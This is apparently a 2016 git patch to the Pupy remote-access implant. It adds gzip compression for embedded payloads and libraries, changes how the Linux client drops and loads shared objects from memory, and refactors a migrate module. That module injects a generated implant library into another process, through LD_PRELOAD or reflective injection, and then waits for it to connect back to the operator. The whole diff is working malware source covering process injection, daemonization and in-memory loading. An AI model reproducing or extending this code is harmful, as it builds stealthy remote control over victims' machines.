From dc9ebe63b9c9d10bc8a770ab8097f7ce62f9d864 Mon Sep 17 00:00:00 2001 From: Oleksii Shevchuk Date: Wed, 24 Aug 2016 09:49:14 +0300 Subject: [PATCH] Fix migration. Add compression. Fix build on ancient distros --- client/requirements.txt | 1 + client/sources-linux/Makefile | 52 ++++++++----- client/sources-linux/Python-dynload.c | 2 +- client/sources-linux/Python-dynload.h | 1 + client/sources-linux/_memimporter.c | 14 ++-- client/sources-linux/_memimporter.h | 3 +- client/sources-linux/daemonize.c | 2 +- client/sources-linux/daemonize.h | 1 + client/sources-linux/decompress.c | 69 +++++++++++++++++ client/sources-linux/decompress.h | 6 ++ client/sources-linux/fixes.h | 11 +++ client/sources-linux/gen_python_bootloader.py | 3 +- client/sources-linux/main_exe.c | 2 +- client/sources-linux/main_so.c | 2 +- client/sources-linux/pupy.c | 1 + client/sources-linux/pupy_load.c | 16 +++- client/sources-linux/pupy_load.h | 3 +- client/sources-linux/tmplibrary.c | 40 +++++++--- client/sources-linux/tmplibrary.h | 5 +- pupy/modules/lib/linux/migrate.py | 75 ++++++++----------- 20 files changed, 214 insertions(+), 95 deletions(-) create mode 100644 client/sources-linux/decompress.c create mode 100644 client/sources-linux/decompress.h create mode 100644 client/sources-linux/fixes.h diff --git a/client/requirements.txt b/client/requirements.txt index 13216fcc..9e55d565 100644 --- a/client/requirements.txt +++ b/client/requirements.txt @@ -2,3 +2,4 @@ rpyc pycrypto psutil pyaml +rsa diff --git a/client/sources-linux/Makefile b/client/sources-linux/Makefile index 1d991045..77192382 100644 --- a/client/sources-linux/Makefile +++ b/client/sources-linux/Makefile @@ -1,15 +1,20 @@ -CFLAGS += $(shell pkg-config --cflags python-2.7) -fPIC -LDFLAGS += -pthread -ldl -fPIC +GZIP ?= gzip +CC ?= gcc + +CFLAGS := $(shell pkg-config --cflags python-2.7) -fPIC $(CFLAGS_EXTRA) +LDFLAGS := -pthread -ldl -fPIC $(LDFLAGS_EXTRA) -Wl,-Bstatic -lz -Wl,-Bdynamic PIE ?= -pie -ARCH ?= $(shell uname -m) -ifeq ($(ARCH),x86_64) -ARCH := 64 +LIBPYTHON ?= $(shell ldconfig -p | awk '/libpython2.7.so/{print $$4}' | head -n 1) + +ARCH ?= $(shell file $(LIBPYTHON) | grep 32-bit >/dev/null && echo 32 || echo 64) +ifeq ($(ARCH),64) +NAME := 64 else -ARCH := 32 +NAME := 86 endif -LINUX_INJECT_CFLAGS := -include debug.h -Dmain=linux_inject_main +LINUX_INJECT_CFLAGS := -include debug.h -include fixes.h -Dmain=linux_inject_main ifneq ($(DEBUG),) DEBUG_ADD := debug @@ -17,16 +22,17 @@ CFLAGS += -DDEBUG -O0 -g else CFLAGS += -O2 LINUX_INJECT_CFLAGS += -Dprintf=dprint -Dfprintf=dfprint +LDFLAGS += -O1 -s endif -LIBPYTHON ?= $(shell ldconfig -p | awk '/libpython2.7.so/{print $$4}' | head -n 1) PYTHON ?= python TEMPLATE_OUTPUT_PATH ?= ../../pupy/payload_templates/ PYOBJS := _memimporter.o Python-dynload.o pupy_load.o pupy.o -COMMON_OBJS := resources_bootloader_pyc.o resources_python27_so.o \ - resources_library_compressed_string_txt.o list.o tmplibrary.o daemonize.o +COMMON_OBJS := resources_bootloader_pyc.o resources_python27_so.o \ + resources_library_compressed_string_txt.o list.o tmplibrary.o daemonize.o \ + decompress.o ifeq ($(ARCH),64) COMMON_OBJS += linux-inject/inject-x86_64.o @@ -42,17 +48,18 @@ ZLIB := $(shell python -c 'import zlib; print zlib.__file__ if "__file__" in zli ifneq ($(ZLIB),built-in) COMMON_OBJS += resources_zlib_so.o CFLAGS += -D_PYZLIB_DYNLOAD +endif +all: $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).lin $(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).so + +ifneq ($(ZLIB),built-in) resources/zlib.so: $(ZLIB) - cp -vf $< $@ + $(GZIP) -9 -c $< >$@ resources_zlib_so.c: gen_resource_header.py resources/zlib.so $(PYTHON) $+ endif - -all: $(TEMPLATE_OUTPUT_PATH)/pupyx$(ARCH).lin $(TEMPLATE_OUTPUT_PATH)/pupyx$(ARCH).so - import-tab.c import-tab.h: mktab.py $(PYTHON) $< @@ -75,7 +82,10 @@ linux-inject/%.o: linux-inject/%.c $(CC) -c $(LINUX_INJECT_CFLAGS) $(CFLAGS) -o $@ $< resources/python27.so: $(LIBPYTHON) - cp -vf $< $@ + cp -vf $< $@.tmp + -strip $@.tmp + $(GZIP) -9 -c $@.tmp >$@ + rm -f $@.tmp resources/library.zip: build_library_zip.py additional_imports.py $(PYTHON) $< @@ -83,13 +93,13 @@ resources/library.zip: build_library_zip.py additional_imports.py resources_python27_so.c: gen_resource_header.py resources/python27.so $(PYTHON) $+ -$(TEMPLATE_OUTPUT_PATH)/pupyx$(ARCH).lin: main_exe.o $(PYOBJS) $(COMMON_OBJS) +$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).lin: main_exe.o $(PYOBJS) $(COMMON_OBJS) $(CC) $(PIE) $+ -o $@ $(LDFLAGS) -$(TEMPLATE_OUTPUT_PATH)/pupyx$(ARCH).so: main_so.o $(PYOBJS) $(COMMON_OBJS) +$(TEMPLATE_OUTPUT_PATH)/pupyx$(NAME).so: main_so.o $(PYOBJS) $(COMMON_OBJS) $(CC) -shared $+ -o $@ $(LDFLAGS) -.PHONY: clean +.PHONY: clean all clean: rm -f *.o @@ -100,3 +110,9 @@ clean: rm -f resources/*.so rm -f resources/*.pyc resources/library_patches/*.pyc rm -f resources/*.txt + rm -f resources_*.c + rm -f import-tab.c + rm -f import-tab.h + +$(COMMON_OBJS) $(PYOBJS): import-tab.h + diff --git a/client/sources-linux/Python-dynload.c b/client/sources-linux/Python-dynload.c index b32dd142..92296d43 100644 --- a/client/sources-linux/Python-dynload.c +++ b/client/sources-linux/Python-dynload.c @@ -59,7 +59,7 @@ int _load_python(const char *dllname, const char *bytes, size_t size) } dprint("Trying to load embedded python library\n"); - hmod = memdlopen(dllname, bytes, size, RTLD_NOW | RTLD_GLOBAL); + hmod = memdlopen(dllname, bytes, size, true); if (hmod == NULL) { dprint("Couldn't load embedded python library: %s\n", dlerror()); return 0; diff --git a/client/sources-linux/Python-dynload.h b/client/sources-linux/Python-dynload.h index da47db55..c1b10c00 100644 --- a/client/sources-linux/Python-dynload.h +++ b/client/sources-linux/Python-dynload.h @@ -1,5 +1,6 @@ /* **************** Python-dynload.h **************** */ #include +#include #include "Python-version.h" typedef void *PyObject; diff --git a/client/sources-linux/_memimporter.c b/client/sources-linux/_memimporter.c index b0138658..1ed0ea52 100644 --- a/client/sources-linux/_memimporter.c +++ b/client/sources-linux/_memimporter.c @@ -18,23 +18,19 @@ static char module_doc[] = "Importer which can load extension modules from memory"; bool -import_module(const char *initfuncname, char *modname, const char *data, size_t size) { +import_module(const char *initfuncname, char *modname, const char *data, size_t size, bool compressed) { char *oldcontext; - dprint("import_module: init=%s mod=%s (%p:%lu)\n", - initfuncname, modname, data, size); + dprint("import_module: init=%s mod=%s (%p:%lu) / compressed = %d\n", + initfuncname, modname, data, size, compressed); - void *hmem=memdlopen(modname, data, size, RTLD_NOW); + void *hmem=memdlopen(modname, data, size, compressed); if (!hmem) { dprint("Couldn't load %s: %m\n", modname); return false; } void (*do_init)() = dlsym(hmem, initfuncname); - if (!do_init) { - do_init = dlsym(hmem, 'init'); - } - if (!do_init) { dprint("Couldn't find sym %s in %s: %m\n", initfuncname, modname); dlclose(hmem); @@ -69,7 +65,7 @@ Py_import_module(PyObject *self, PyObject *args) { dprint("DEBUG! %s@%s\n", initfuncname, modname); - if (!import_module(initfuncname, modname, data, size)) { + if (!import_module(initfuncname, modname, data, size, false)) { PyErr_Format(PyExc_ImportError, "Could not find function %s", initfuncname); return NULL; diff --git a/client/sources-linux/_memimporter.h b/client/sources-linux/_memimporter.h index 2fa7b9a0..a7d932aa 100644 --- a/client/sources-linux/_memimporter.h +++ b/client/sources-linux/_memimporter.h @@ -4,8 +4,7 @@ #include bool -import_module(const char *initfuncname, char *modname, const char *data, size_t size); +import_module(const char *initfuncname, char *modname, const char *data, size_t size, bool compressed); void init_memimporter(void); #endif - diff --git a/client/sources-linux/daemonize.c b/client/sources-linux/daemonize.c index 784167a4..2b163dec 100644 --- a/client/sources-linux/daemonize.c +++ b/client/sources-linux/daemonize.c @@ -66,11 +66,11 @@ int daemonize(bool exit_parent) { if (chdir ("/") == -1) return -1; +#ifndef DEBUG /* close all open files--NR_OPEN is overkill, but works */ for (i = 0; i < sysconf(_SC_OPEN_MAX); i++) close (i); -#ifndef DEBUG /* redirect fd's 0,1,2 to /dev/null */ open ("/dev/null", O_RDWR); /* stdin */ diff --git a/client/sources-linux/daemonize.h b/client/sources-linux/daemonize.h index 249739e4..3190d032 100644 --- a/client/sources-linux/daemonize.h +++ b/client/sources-linux/daemonize.h @@ -3,6 +3,7 @@ #include #include +#include pid_t daemonize(bool exit_parent); diff --git a/client/sources-linux/decompress.c b/client/sources-linux/decompress.c new file mode 100644 index 00000000..7d29d209 --- /dev/null +++ b/client/sources-linux/decompress.c @@ -0,0 +1,69 @@ +#include +#include "decompress.h" + +/* Zpipe code */ + +#define CHUNK 8196 + +int decompress(int fd, const char *buf, size_t size) { + int ret; + unsigned have; + z_stream strm; + unsigned char in[CHUNK]; + unsigned char out[CHUNK]; + + /* allocate inflate state */ + strm.zalloc = Z_NULL; + strm.zfree = Z_NULL; + strm.opaque = Z_NULL; + strm.avail_in = 0; + strm.next_in = Z_NULL; + ret = inflateInit2(&strm, 15+32); + + if (ret != Z_OK) + return ret; + + /* decompress until deflate stream ends or end of file */ + do { + strm.avail_in = size < CHUNK? size : CHUNK; + if (strm.avail_in == 0) + break; + + strm.next_in = buf; + + buf += strm.avail_in; + size -= strm.avail_in; + + do { + strm.avail_out = CHUNK; + strm.next_out = out; + ret = inflate(&strm, Z_NO_FLUSH); + switch (ret) { + case Z_NEED_DICT: + ret = Z_DATA_ERROR; /* and fall through */ + case Z_DATA_ERROR: + case Z_MEM_ERROR: + (void)inflateEnd(&strm); + return ret; + } + have = CHUNK - strm.avail_out; + unsigned char *ptr = out; + while (have) { + int n = write(fd, ptr, have); + if (n == -1) { + (void)inflateEnd(&strm); + return Z_ERRNO; + } + have -= n; + ptr += n; + } + + } while (strm.avail_out == 0); + + /* done when inflate() says it's done */ + } while (ret != Z_STREAM_END); + + /* clean up and return */ + (void)inflateEnd(&strm); + return ret == Z_STREAM_END ? Z_OK : Z_DATA_ERROR; +} diff --git a/client/sources-linux/decompress.h b/client/sources-linux/decompress.h new file mode 100644 index 00000000..7163cfa9 --- /dev/null +++ b/client/sources-linux/decompress.h @@ -0,0 +1,6 @@ +#ifndef DECOMPRESS_H +#define DECOMPRESS_H + +int decompress(int fd, const char *buf, size_t size); + +#endif /* DECOMPRESS_H */ diff --git a/client/sources-linux/fixes.h b/client/sources-linux/fixes.h new file mode 100644 index 00000000..4d565b3b --- /dev/null +++ b/client/sources-linux/fixes.h @@ -0,0 +1,11 @@ +#ifndef ___FIXES_H +#define ___FIXES_H + + +#include + +#ifndef PTRACE_GETSIGINFO +#define PTRACE_GETSIGINFO 0x4202 +#endif + +#endif diff --git a/client/sources-linux/gen_python_bootloader.py b/client/sources-linux/gen_python_bootloader.py index ff54ee0c..3c442a6f 100644 --- a/client/sources-linux/gen_python_bootloader.py +++ b/client/sources-linux/gen_python_bootloader.py @@ -42,8 +42,7 @@ if __name__=="__main__": code="" #code_bytes.append(compile("import sys; print repr(sys._GetCompressedLibraryString())"+"\n", "", "exec")) code_bytes.append(compile(remove_stdout, "", "exec")) - code_bytes.append(compile("import sys; sys.path = []; " - "sys.argv_orig = []; sys.argv = sys.argv[:1]", "", "exec")) + code_bytes.append(compile("import sys; sys.path = [];", "", "exec")) with open(os.path.join("..", "..", "pupy", "packages","all", "pupyimporter.py")) as f: code=f.read() code_bytes.append(compile(get_load_module_code(code,"pupyimporter")+"\n", "", "exec")) diff --git a/client/sources-linux/main_exe.c b/client/sources-linux/main_exe.c index b8ac0d60..869160ca 100644 --- a/client/sources-linux/main_exe.c +++ b/client/sources-linux/main_exe.c @@ -6,5 +6,5 @@ int main(int argc, char *argv[]) { daemonize(true); #endif - return mainThread(argc, argv); + return mainThread(argc, argv, false); } diff --git a/client/sources-linux/main_so.c b/client/sources-linux/main_so.c index 12587b7a..0b7999b9 100644 --- a/client/sources-linux/main_so.c +++ b/client/sources-linux/main_so.c @@ -16,7 +16,7 @@ static char ** __argv = NULL; static void * thread_start(void *arg) { - return (void *) mainThread(__argc, __argv); + return (void *) mainThread(__argc, __argv, true); } static diff --git a/client/sources-linux/pupy.c b/client/sources-linux/pupy.c index 862f439e..59157c51 100644 --- a/client/sources-linux/pupy.c +++ b/client/sources-linux/pupy.c @@ -6,6 +6,7 @@ #include #include #include +#include #include "debug.h" #include "Python-dynload.h" #include "daemonize.h" diff --git a/client/sources-linux/pupy_load.c b/client/sources-linux/pupy_load.c index 308e94bd..71f92e55 100644 --- a/client/sources-linux/pupy_load.c +++ b/client/sources-linux/pupy_load.c @@ -19,6 +19,7 @@ extern const char resources_python27_so_start[]; extern const int resources_python27_so_size; + extern const char resources_bootloader_pyc_start[]; extern const int resources_bootloader_pyc_size; @@ -37,7 +38,7 @@ extern DL_EXPORT(void) initpupy(void); const uint32_t dwPupyArch = 32; #endif -uint32_t mainThread(int argc, char *argv[]) { +uint32_t mainThread(int argc, char *argv[], bool so) { int rc = 0; PyObject *m=NULL, *d=NULL, *seq=NULL; @@ -77,7 +78,16 @@ uint32_t mainThread(int argc, char *argv[]) { dprint("SET ARGV\n"); if (argc > 0) { - PySys_SetArgvEx(argc, argv, 0); + if (so) { + if (argc > 2 && !strcmp(argv[1], "--pass-args")) { + argv[1] = argv[0]; + PySys_SetArgvEx(argc - 1, argv + 1, 0); + } else { + PySys_SetArgvEx(1, argv, 0); + } + } else { + PySys_SetArgvEx(argc, argv, 0); + } } PySys_SetPath("."); @@ -94,7 +104,7 @@ uint32_t mainThread(int argc, char *argv[]) { #ifdef _PYZLIB_DYNLOAD dprint("load zlib\n"); - if (!import_module("initzlib", "zlib", resources_zlib_so_start, resources_zlib_so_size)) { + if (!import_module("initzlib", "zlib", resources_zlib_so_start, resources_zlib_so_size, true)) { dprint("ZLib load failed.\n"); } #endif diff --git a/client/sources-linux/pupy_load.h b/client/sources-linux/pupy_load.h index 1af330cc..2efca919 100644 --- a/client/sources-linux/pupy_load.h +++ b/client/sources-linux/pupy_load.h @@ -1,6 +1,7 @@ #ifndef PYTHONINTERPRETER #define PYTHONINTERPRETER #include +#include -uint32_t mainThread(int argc, char **argv); +uint32_t mainThread(int argc, char **argv, bool so); #endif diff --git a/client/sources-linux/tmplibrary.c b/client/sources-linux/tmplibrary.c index 5776394c..26c4ab78 100644 --- a/client/sources-linux/tmplibrary.c +++ b/client/sources-linux/tmplibrary.c @@ -12,6 +12,8 @@ #include "tmplibrary.h" #include "debug.h" +#include "decompress.h" + /* So.. We don't want to bother with reflective bla-bla-bla. Just @@ -72,7 +74,7 @@ bool search_library(void *pState, void *pData) { return false; } -bool drop_library(char *path, size_t path_size, const char *buffer, size_t size) { +bool drop_library(char *path, size_t path_size, const char *buffer, size_t size, bool compressed) { const char *template = gettemptpl(); if (path_size < strlen(template)) @@ -85,21 +87,35 @@ bool drop_library(char *path, size_t path_size, const char *buffer, size_t size) return false; } - while (size > 0) { - size_t n = write(fd, buffer, size); - if (n == -1) { - dprint("Write failed: %d left, error = %m, buffer = %p, tmpfile = %s\n", size, buffer, path); - abort(); + bool result = true; + + if (compressed) { + dprint("Decompressing library %s\n", path); + int r = decompress(fd, buffer, size); + result = r == 0; + if (!result) { + dprint("Decompress error: %d\n", r); + } + + } else { + while (size > 0) { + size_t n = write(fd, buffer, size); + if (n == -1) { + dprint("Write failed: %d left, error = %m, buffer = %p, tmpfile = %s\n", size, buffer, path); + result = false; + break; + } + buffer += n; + size -= n; } - buffer += n; - size -= n; } + close(fd); - return true; + return result; } -void *memdlopen(const char *soname, const char *buffer, size_t size, int flags) { +void *memdlopen(const char *soname, const char *buffer, size_t size, bool compressed) { dprint("memdlopen(\"%s\", %p, %ull)\n", soname, buffer, size); static PLIST libraries = NULL; @@ -124,14 +140,14 @@ void *memdlopen(const char *soname, const char *buffer, size_t size, int flags) } char buf[PATH_MAX]={}; - if (!drop_library(buf, PATH_MAX, buffer, size)) { + if (!drop_library(buf, PATH_MAX, buffer, size, compressed)) { dprint("Couldn't drop library %s: %m\n", soname); return NULL; } dprint("Library \"%s\" dropped to \"%s\"\n", soname, buf); - base = dlopen(buf, flags); + base = dlopen(buf, RTLD_NOW | RTLD_GLOBAL); if (!base) { dprint("Couldn't load library %s (%s): %s\n", soname, buf, dlerror()); #ifndef DEBUG diff --git a/client/sources-linux/tmplibrary.h b/client/sources-linux/tmplibrary.h index d9510798..e680ac83 100644 --- a/client/sources-linux/tmplibrary.h +++ b/client/sources-linux/tmplibrary.h @@ -1,9 +1,10 @@ #ifndef TMPLIBRARY_H #define TMPLIBRARY_H +#include #include -void *memdlopen(const char *soname, const char *buffer, size_t size, int flags); -bool drop_library(char *path, size_t path_size, const char *buffer, size_t size); +void *memdlopen(const char *soname, const char *buffer, size_t size, bool compressed); +bool drop_library(char *path, size_t path_size, const char *buffer, size_t size, bool compressed); #endif /* TMPLIBRARY_H */ diff --git a/pupy/modules/lib/linux/migrate.py b/pupy/modules/lib/linux/migrate.py index a46d4b8b..ed43a6a0 100644 --- a/pupy/modules/lib/linux/migrate.py +++ b/pupy/modules/lib/linux/migrate.py @@ -1,5 +1,6 @@ import pupygen import time +import gzip, cStringIO def has_proc_migrated(client, pid): for c in client.pupsrv.clients: @@ -16,9 +17,7 @@ def has_proc_migrated(client, pid): return c return None -def ld_preload(module, command, wait_thread=False, keep=False): - rtempfile = module.client.conn.modules['tempfile'] - +def get_payload(module): if module.client.is_proc_arch_64_bits(): module.info('Generate pupyx64.so payload') dllbuf = pupygen.get_edit_pupyx64_so(module.client.get_conf()) @@ -26,8 +25,32 @@ def ld_preload(module, command, wait_thread=False, keep=False): module.info('Generate pupyx64.so payload') dllbuf = pupygen.get_edit_pupyx86_so(module.client.get_conf()) + dllgzbuf = cStringIO.StringIO() + gzf = gzip.GzipFile('pupy.so', 'wb', 9, dllgzbuf) + gzf.write(dllbuf) + gzf.close() + + return dllgzbuf.getvalue() + +def wait_connect(module, pid): + module.success("waiting for a connection from the DLL ...") + while True: + c=has_proc_migrated(module.client, pid) + if c: + module.success("got a connection from migrated DLL !") + c.desc["id"]=module.client.desc["id"] + break + time.sleep(0.1) + try: + module.client.conn.exit() + except Exception: + pass + +def ld_preload(module, command, wait_thread=False, keep=False): + payload = get_payload(module) + pid = module.client.conn.modules['pupy'].ld_preload_inject_dll( - command, dllbuf, wait_thread + command, payload, wait_thread ) if pid == -1: @@ -36,33 +59,14 @@ def ld_preload(module, command, wait_thread=False, keep=False): else: module.success('Process created: {}'.format(pid)) - if keep: - return - - module.success("waiting for a connection from the DLL ...") - while True: - c=has_proc_migrated(module.client, pid) - if c: - module.success("got a connection from migrated DLL !") - c.desc["id"]=module.client.desc["id"] - break - time.sleep(0.1) - try: - module.client.conn.exit() - except Exception: - pass + if not keep: + wait_connect(module, pid) def migrate(module, pid, keep=False): - dllbuf=b'' - if module.client.is_proc_arch_64_bits(): - module.info('Generate pupyx64.so payload') - dllbuf = pupygen.get_edit_pupyx64_so(module.client.get_conf()) - else: - module.info('Generate pupyx64.so payload') - dllbuf = pupygen.get_edit_pupyx86_so(module.client.get_conf()) + payload = get_payload(module) r = module.client.conn.modules['pupy'].reflective_inject_dll( - pid, dllbuf, 0 + pid, payload, 0 ) if r: @@ -71,18 +75,5 @@ def migrate(module, pid, keep=False): module.error("Injection failed !") return - if keep: - return - - module.success("waiting for a connection from the DLL ...") - while True: - c=has_proc_migrated(module.client, pid) - if c: - module.success("got a connection from migrated DLL !") - c.desc["id"]=module.client.desc["id"] - break - time.sleep(0.1) - try: - module.client.conn.exit() - except Exception: - pass + if not keep: + wait_connect(module, pid)